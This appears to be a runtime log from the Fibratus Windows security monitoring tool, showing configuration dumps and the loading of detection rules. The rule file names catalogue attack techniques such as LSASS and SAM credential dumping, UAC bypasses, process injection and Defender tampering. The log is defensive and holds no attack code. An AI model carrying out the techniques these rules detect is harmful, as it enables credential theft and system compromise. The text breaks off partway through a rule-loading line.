level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T13:48:42+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T13:48:42+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T13:48:42+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T13:49:10+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-05T13:49:10+01:00 level=info msg=bootstrapping with pid 12852. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T13:49:10+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html port=>25 use-template=>true to=>[] enabled=>false] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-registry=>true enable-dns=>false flush-interval=>1s enable-audit-api=>true buffer-size=>512 enable-vamap=>true enable-fileio=>true enable-image=>true min-buffers=>16 stack-enrichment=>true enable-mem=>false enable-handle=>false enable-thread=>true max-buffers=>36 enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true max-age=>0 formatter=>text max-backups=>15 max-size=>100] + output ......................... [ http=>[ tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json timeout=>5s enabled=>false endpoints=>[] method=>POST] eventlog=>[ enabled=>false level=>info] amqp=>[ timeout=>5s exchange-type=>topic passive=>false exchange=>fibratus delivery-mode=>transient routing-key=>fibratus durable=>false tls-insecure-skip-verify=>false vhost=>/ enabled=>false url=>amqp://localhost:5672] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ sniff=>false healthcheck=>true bulk-workers=>1 healthcheck-timeout=>5s healthcheck-interval=>10s trace-log=>false flush-period=>1s gzip-compression=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus enabled=>false timeout=>5s template-name=>fibratus]] + pe ............................. [ enabled=>false read-symbols=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-registry=>false enabled=>false skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true excluded-procs=>[] scan-timeout=>10s skip-files=>false skip-mmaps=>false excluded-files=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-05T13:49:10+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T13:49:12+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T13:51:28+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T13:51:28+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T13:51:28+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T13:51:34+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T13:51:34+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T13:51:34+01:00 level=info msg=bootstrapping with pid 9248. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T13:51:34+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true to=>[] port=>25 enabled=>false content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ flush-interval=>1s enable-vamap=>true min-buffers=>16 enable-fileio=>true enable-thread=>true enable-handle=>false enable-mem=>false buffer-size=>512 enable-image=>true enable-threadpool=>false stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true enable-audit-api=>true enable-registry=>true enable-dns=>false max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-age=>0 max-size=>100 formatter=>text max-backups=>15 level=>info] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] http=>[ timeout=>5s tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false endpoints=>[] method=>POST enabled=>false] amqp=>[ routing-key=>fibratus vhost=>/ durable=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 timeout=>5s enabled=>false exchange=>fibratus delivery-mode=>transient exchange-type=>topic passive=>false] elasticsearch=>[ timeout=>5s template-name=>fibratus healthcheck=>true healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck-timeout=>5s gzip-compression=>false sniff=>false index-name=>fibratus trace-log=>false bulk-workers=>1 enabled=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-mmaps=>false excluded-procs=>[] skip-allocs=>false skip-registry=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false excluded-files=>[] enabled=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T13:51:34+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T13:51:36+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T13:51:59+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T13:51:59+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T13:52:00+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T13:52:22+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T13:52:22+01:00 level=info msg=loading rule from 